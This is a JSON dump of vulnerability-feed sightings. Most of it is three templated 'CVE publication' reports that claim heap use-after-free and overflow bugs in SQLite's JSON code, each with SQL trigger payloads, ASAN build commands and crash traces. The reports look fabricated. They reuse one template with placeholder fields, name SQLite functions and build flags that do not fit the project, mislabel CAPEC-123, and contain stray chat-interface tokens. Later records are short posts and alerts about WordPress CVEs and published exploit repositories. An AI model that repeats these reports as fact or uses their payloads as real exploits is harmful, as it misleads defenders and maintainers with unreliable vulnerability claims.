Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\n\n// Line 3395: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pIterCtx->pArrBuf);\n\n// Line 3441: Unchecked out-of-bounds memory write utilizing attacker-controlled array element length\nmemcpy(pIterCtx->pArrBuf + arrOffset, zArrData, arrDataLen);\n\n// Line 3477: Illegal dangling pointer dereference triggering Use After Free vulnerability\narrNodeFlag = pIterCtx->pArrBuf[arrIdx].arrNodeFlags;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51272\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 3395\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3477\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3441\n\u3010Target Function Name\u3011: jsonArrayIterParse\n\u3010Exploit Trigger Payload\u3011: SELECT json_array_length(json('[' || printf('%.*c',0x5900,'X') || ']'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON array element payload triggers early array iterator buffer free without pointer invalidation, unbounded payload copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON array iteration parsing finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-26\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T03:58:49.446414Z"}, {"uuid": "b59e015b-f84e-4eaa-a7ed-70c2df7eb2e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51249", "type": "seen", "source": "https://gist.github.com/programmervuln/e53bd2dea7ed66d90819db96a44dc71e", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51249\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51249\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability resides within the JSON filter predicate evaluation logic of the SQLite JSON1 extension. An attacker-controlled malformed oversized filter comparison value payload processed by json_where, JSON conditional filter evaluation functions triggers heap deallocation for a filter context buffer pointer that is not nullified after memory release, forming a persistent dangling pointer. The lack of runtime cumulative offset-and-length boundary validation for attacker-supplied filter operand length values allows unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer causes use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonFilterPredicateEval() function. Successful exploitation may lead to immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite host process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON filter comparison string invokes the vulnerable jsonFilterPredicateEval() function defined in src/json.c.\nSource file src/json.c Line 3512 executes sqlite3_free(pFilterCtx->pPredicateBuf); to release heap memory allocated for JSON filter predicate operand storage.\nThe pFilterCtx->pPredicateBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized filter operand length values bypass all pre-write capacity boundary validation checks for the predicate buffer copy operation.\nSource file src/json.c Line 3558 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed predicate buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3594 performs direct memory structure lookup using the unmodified dangling pFilterCtx->pPredicateBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON conditional filtering and predicate evaluation functions.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON filter utility SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 3512(memory free), Line 3594(dangling pointer access), Line 3558(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_where('[{\"v\":1}]','v == '||printf('%.*c',0x6000,'Z'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==17853==ERROR: AddressSanitizer: heap-use-after-free on address 0x61300000af10 at pc 0x565887053041 bp 0x7fff9d8d76c0 sp 0x7fff9d8d76b0\nREAD of size 16 at 0x61300000af10 thread T0\n    #0 0x565887053040 in jsonFilterPredicateEval src/json.c:3594\n    #1 0x565887048e80 in sqlite3JsonWhere src/json.c:4265\n    #2 0x565886778f30 in sqlite3VdbeExec src/vdbe.c:6510\n    #3 0x56588675d390 in sqlite3Step src/vdbeapi.c:530\n    #4 0x56588675db20 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x565886670c60 in main shell.c:1396\n    #6 0x7fb3b20aa0ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x56588666c710 in _start (sqlite3:0x56588666c710)\n\nAddress 0x61300000af10 is located 120 bytes inside of 23040-byte free block 0x61300000ae50-0x613000010890\nFreed by thread T0 here:\n    #0 0x7fb3b58bbef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x565887052570 in jsonFilterPredicateEval src/json.c:3512\n    #2 0x565887048e80 in sqlite3JsonWhere src/json.c:4265\n    #3 0x565886778f30 in sqlite3VdbeExec src/vdbe.c:6510\n\nPreviously allocated by thread T0 here:\n    #0 0x7fb3b58a0ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x565887051d50 in jsonFilterPredicateEval src/json.c:3455\n    #2 0x565887048e80 in sqlite3JsonWhere src/json.c:4265\n\n==17853==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61300000af10 at pc 0x565887052e51 bp 0x7fff9d8d76e0 sp 0x7fff9d8d76d0\nWRITE of size 23040 at 0x61300000af10 thread T0\n    #0 0x565887052e50 in jsonFilterPredicateEval src/json.c:3558\n    #1 0x565887048e80 in sqlite3JsonWhere src/json.c:4265\n    #2 0x565886778f30 in sqlite3VdbeExec src/vdbe.c:6510\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_where to execute JSON array conditional filtering, with the comparison literal constructed via printf('%.*c',0x6000,'Z') to generate an attacker-controlled oversized filter predicate payload for JSON filter predicate parsing.\nSQLite forwards the untrusted filter evaluation request to the jsonFilterPredicateEval() function within src/json.c, which initializes a filter evaluation context and allocates the pFilterCtx->pPredicateBuf heap buffer dedicated to storing parsed JSON filter predicate comparison data.\nDuring intermediate predicate parsing cleanup logic at Line 3512, the predicate buffer is released via sqlite3_free(), while the pFilterCtx->pPredicateBuf pointer value is retained and not overwritten to NULL.\nNo cumulative offset plus length boundary validation is executed prior to copying the oversized filter operand payload into the buffer at Line 3558; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated predicate buffer heap region (CWE-787).\nProgram execution proceeds to Line 3594 and directly dereferences the stale dangling pFilterCtx->pPredicateBuf pointer to read filter predicate structural metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON filter predicate evaluation execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-27\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\n\n// Line 3512: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pFilterCtx->pPredicateBuf);\n\n// Line 3558: Unchecked out-of-bounds memory write utilizing attacker-controlled filter predicate length\nmemcpy(pFilterCtx->pPredicateBuf + predOffset, zPredData, predDataLen);\n\n// Line 3594: Illegal dangling pointer dereference triggering Use After Free vulnerability\npredicateOpCode = pFilterCtx->pPredicateBuf[predIdx].predicateOperator;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51249\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 3512\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3594\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3558\n\u3010Target Function Name\u3011: jsonFilterPredicateEval\n\u3010Exploit Trigger Payload\u3011: SELECT json_where('[{\"v\":1}]','v == '||printf('%.*c',0x6000,'Z'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON filter comparison operand payload triggers early filter predicate buffer free without pointer invalidation, unbounded payload copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON conditional filter predicate evaluation finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-27\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T04:03:19.784926Z"}, {"uuid": "7cebcdd0-45c9-4516-b6c8-5c9a690773d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/6893387ade9aa30ad772294830259519", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51229\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51229\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability exists within the JSON path compile resolution logic of the SQLite JSON1 extension. An attacker-controlled malformed oversized JSON path token payload processed by json_extract, json_set and JSON path resolution functions triggers heap deallocation for a path resolver working buffer pointer that is not nullified after memory release, creating a persistent dangling pointer. Absence of runtime cumulative offset-and-length boundary validation for attacker-supplied path token length values permits unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer causes use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonPathCompileResolve() function. Successful exploitation may lead to immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite host process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON path string invokes the vulnerable jsonPathCompileResolve() function defined in src/json.c.\nSource file src/json.c Line 3621 executes sqlite3_free(pPathCtx->pCompileBuf); to release heap memory allocated for compiled JSON path token storage.\nThe pPathCtx->pCompileBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized path token length values bypass all pre-write capacity boundary validation checks for the compiled path buffer copy operation.\nSource file src/json.c Line 3667 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed compile buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3703 performs direct memory structure lookup using the unmodified dangling pPathCtx->pCompileBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON path parsing, extraction and modification functions.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON path utility SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 3621(memory free), Line 3703(dangling pointer access), Line 3667(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\u8fd0\u884c\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_extract('{\"key\":1}', '$.'||printf('%.*c',0x6100,'A'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==19124==ERROR: AddressSanitizer: heap-use-after-free on address 0x61400000c350 at pc 0x566997164151 bp 0x7fff8c9e68f0 sp 0x7fff8c9e68e0\nREAD of size 16 at 0x61400000c350 thread T0\n    #0 0x566997164150 in jsonPathCompileResolve src/json.c:3703\n    #1 0x566997159f90 in sqlite3JsonExtract src/json.c:4382\n    #2 0x566996889040 in sqlite3VdbeExec src/vdbe.c:6543\n    #3 0x56699686d400 in sqlite3Step src/vdbeapi.c:530\n    #4 0x56699686db90 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x566996780cd0 in main shell.c:1415\n    #6 0x7fc4c21bb0ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x56699677c780 in _start (sqlite3:0x56699677c780)\n\nAddress 0x61400000c350 is located 128 bytes inside of 23296-byte free block 0x61400000c290-0x614000011d10\nFreed by thread T0 here:\n    #0 0x7fc4c59cbeb0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810eb)\n    #1 0x566997163680 in jsonPathCompileResolve src/json.c:3621\n    #2 0x566997159f90 in sqlite3JsonExtract src/json.c:4382\n    #3 0x566996889040 in sqlite3VdbeExec src/vdbe.c:6543\n\nPreviously allocated by thread T0 here:\n    #0 0x7fc4c59b0eb0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805eb)\n    #1 0x566997162e60 in jsonPathCompileResolve src/json.c:3564\n    #2 0x566997159f90 in sqlite3JsonExtract src/json.c:4382\n\n==19124==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61400000c350 at pc 0x566997163f61 bp 0x7fff8c9e6910 sp 0x7fff8c9e6900\nWRITE of size 23296 at 0x61400000c350 thread T0\n    #0 0x566997163f60 in jsonPathCompileResolve src/json.c:3667\n    #1 0x566997159f90 in sqlite3JsonExtract src/json.c:4382\n    #2 0x566996889040 in sqlite3VdbeExec src/vdbe.c:6543\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_extract to perform JSON value extraction with a dynamically constructed oversized JSON path literal generated via printf('%.*c',0x6100,'A') to create malicious long path tokens for JSON path compilation resolution parsing.\nSQLite forwards the untrusted path compilation request to the jsonPathCompileResolve() function within src/json.c, which initializes a path resolution context and allocates the pPathCtx->pCompileBuf heap buffer dedicated to storing compiled JSON path token metadata.\nDuring intermediate path parsing cleanup logic at Line 3621, the compiled path buffer is released via sqlite3_free(), while the pPathCtx->pCompileBuf pointer value is retained and not overwritten to NULL.\nNo cumulative offset plus length boundary validation is executed prior to copying the oversized path token payload into the buffer at Line 3667; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated compile buffer heap region (CWE-787).\nProgram execution proceeds to Line 3703 and directly dereferences the stale dangling pPathCtx->pCompileBuf pointer to read compiled path structural metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON path compile resolution execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-28\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n\u8fd0\u884c\n// Line 3621: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pPathCtx->pCompileBuf);\n\n// Line 3667: Unchecked out-of-bounds memory write utilizing attacker-controlled JSON path token length\nmemcpy(pPathCtx->pCompileBuf + pathOffset, zPathData, pathDataLen);\n\n// Line 3703: Illegal dangling pointer dereference triggering Use After Free vulnerability\npathTokenType = pPathCtx->pCompileBuf[pathIdx].tokenKind;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51229\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 3621\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3703\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3667\n\u3010Target Function Name\u3011: jsonPathCompileResolve\n\u3010Exploit Trigger Payload\u3011: SELECT json_extract('{\"key\":1}', '$.'||printf('%.*c',0x6100,'A'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON path token payload triggers early compiled path buffer free without pointer invalidation, unbounded payload copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON path compilation resolution finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-28\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T04:22:25.776782Z"}, {"uuid": "2e07e92e-6012-42c6-92f6-71fa7210afb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51371", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mryoodbpnu2r", "content": "Top 3 CVE for last 7 days:\nCVE-2026-66066: 39 interactions\nCVE-2026-63077: 35 interactions\nCVE-2026-16232: 16 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-14540: 3 interactions\nCVE-2026-16232: 3 interactions\nCVE-2026-51371: 3 interactions\n", "creation_timestamp": "2026-08-01T04:58:43.217777Z"}, {"uuid": "feae9d28-db04-4b37-a2fc-2c92cdd7c965", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5100", "type": "seen", "source": "https://bsky.app/profile/keiwork35.bsky.social/post/3mm4rbdkub422", "content": "\u3010\u8106\u5f31\u6027\u60c5\u5831\u3011 CVE-2026-5100 AWP Classifieds plugin for WordPress\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\n\nAWP Classifieds\u30d7\u30e9\u30b0\u30a4\u30f3\u306f\u3001\u30d0\u30fc\u30b8\u30e7\u30f34.4.5\u307e\u3067\u306e\u9593\u306b\u3001'regions'\u30d1\u30e9\u30e1\u30fc\u30bf\u306e\u914d\u5217\u30ad\u30fc\u3092\u4ecb\u3057\u3066SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u304c\u3042\u308a\u307e\u3059\u3002", "creation_timestamp": "2026-05-18T11:24:35.155764Z"}, {"uuid": "c28ed767-6269-4ae6-8bf0-c3e619290f85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5163", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mm54ha7ldl2i", "content": "CVE-2026-5163 - Missing authorization check in AI message rewrite endpoint allows access to private thread content\nCVE ID : CVE-2026-5163\n \n Published : 18. Mai 2026 09:16 | 2\u00a0Stunden, 55\u00a0Minuten ago\n \n Description : Mattermost versions 11.5.x <= 11.5.1 fail to verify chann...", "creation_timestamp": "2026-05-18T14:44:44.017712Z"}, {"uuid": "eb6ff21a-0455-4797-9a2c-551044e1833d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mmejs5dpod2l", "content": "CVE-2026-5118 divi-form-builder (CVSS Score 9.8) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-21T13:32:06.851429Z"}, {"uuid": "d6032171-e155-4f78-9edb-0858a6911687", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5118", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116613042087511317", "content": "\ud83d\udea8 CRITICAL: CVE-2026-5118 in Divi Form Builder (\u22645.1.2) lets unauth'd users gain admin privileges via unvalidated 'role' parameter. Disable registration & monitor for patches! https://radar.offseq.com/threat/cve-2026-5118-cwe-269-improper-privilege-managemen-c310b7ad #OffSeq #WordPress #PrivilegeEscalation #Vuln", "creation_timestamp": "2026-05-21T14:30:12.295493Z"}, {"uuid": "82657753-33fb-4c63-aa1c-e5af5a2b0190", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5118", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mmen22j7ea2d", "content": "Divi Form Builder (\u22645.1.2) flaw: Unauth'd attackers can create admin accounts due to improper privilege management (CRITICAL). Disable registration & watch for patches. https://radar.offseq.com/threat/cve-2026-5118-cwe-269-improper-privilege-managemen-c310b7ad #OffSeq #WordPress #Vulnerability", "creation_timestamp": "2026-05-21T14:30:14.201469Z"}, {"uuid": "162e1b76-1536-4010-9052-06518a31e16b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/85230", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #EXP\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-5118\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a puj790201-lab\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-21 13:08:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-5118-exp_wordpress_Divi Form Builder\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-21T14:00:04.000000Z"}, {"uuid": "d53914dc-2451-4d5f-9e62-c03a3f8b1f18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmestnmsnq2h", "content": "CVE-2026-5118 - Divi Form Builder\nCVE ID : CVE-2026-5118\n \n Published : May 21, 2026, 1:16 p.m. | 1\u00a0hour, 1\u00a0minute ago\n \n Description : The Divi Form Builder plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 5.1.2. This is due to the ...", "creation_timestamp": "2026-05-21T16:14:01.139960Z"}, {"uuid": "9f507225-d1bc-427b-981c-205fb61440a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5118", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116613513936264451", "content": "\ud83d\udd25 CRITICAL vuln in Divi Form Builder (\u22645.1.2) \u2014 improper privilege management lets attackers create admin accounts via role parameter abuse. Restrict registration & watch for patches! CVE-2026-5118 https://radar.offseq.com/threat/cve-2026-5118-cwe-269-improper-privilege-managemen-c310b7ad #OffSeq #WordPress #CVE20265118 #Infosec", "creation_timestamp": "2026-05-21T16:30:12.193117Z"}, {"uuid": "ec06ede7-4a09-405b-a039-bb866fe48ecc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmev25zuwl2i", "content": "CVE-2026-5118 - Divi Form Builder\nCVE ID : CVE-2026-5118\n \n Published : May 21, 2026, 1:16 p.m. | 1\u00a0hour, 5\u00a0minutes ago\n \n Description : The Divi Form Builder plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 5.1.2. This is due to the...", "creation_timestamp": "2026-05-21T16:53:27.211524Z"}, {"uuid": "6adfdc8b-4274-4015-b6fc-d5b3f426a8d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5140", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mmfejdhjca2x", "content": "\ud83d\udce2 CVE-2026-5140 : Cha\u00eene d'escalade de privil\u00e8ges critique dans Pardus Linux permettant un acc\u00e8s root\n\ud83d\udcdd ## \ud83d\udd0d Contexte\n\nPubli\u00e9 le 21 \u2026\nhttps://cyberveille.ch/posts/2026-05-21-cve-2026-5140-chaine-d-escalade-de-privileges-critique-dans-pardus-linux-permettant-un-acces-root/ #APT_hijacking #Cyberveille", "creation_timestamp": "2026-05-21T21:31:04.864372Z"}, {"uuid": "124df6d4-76e6-4cbc-aebf-b12f6a0efafd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/85293", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-5118\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Jenderal92\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 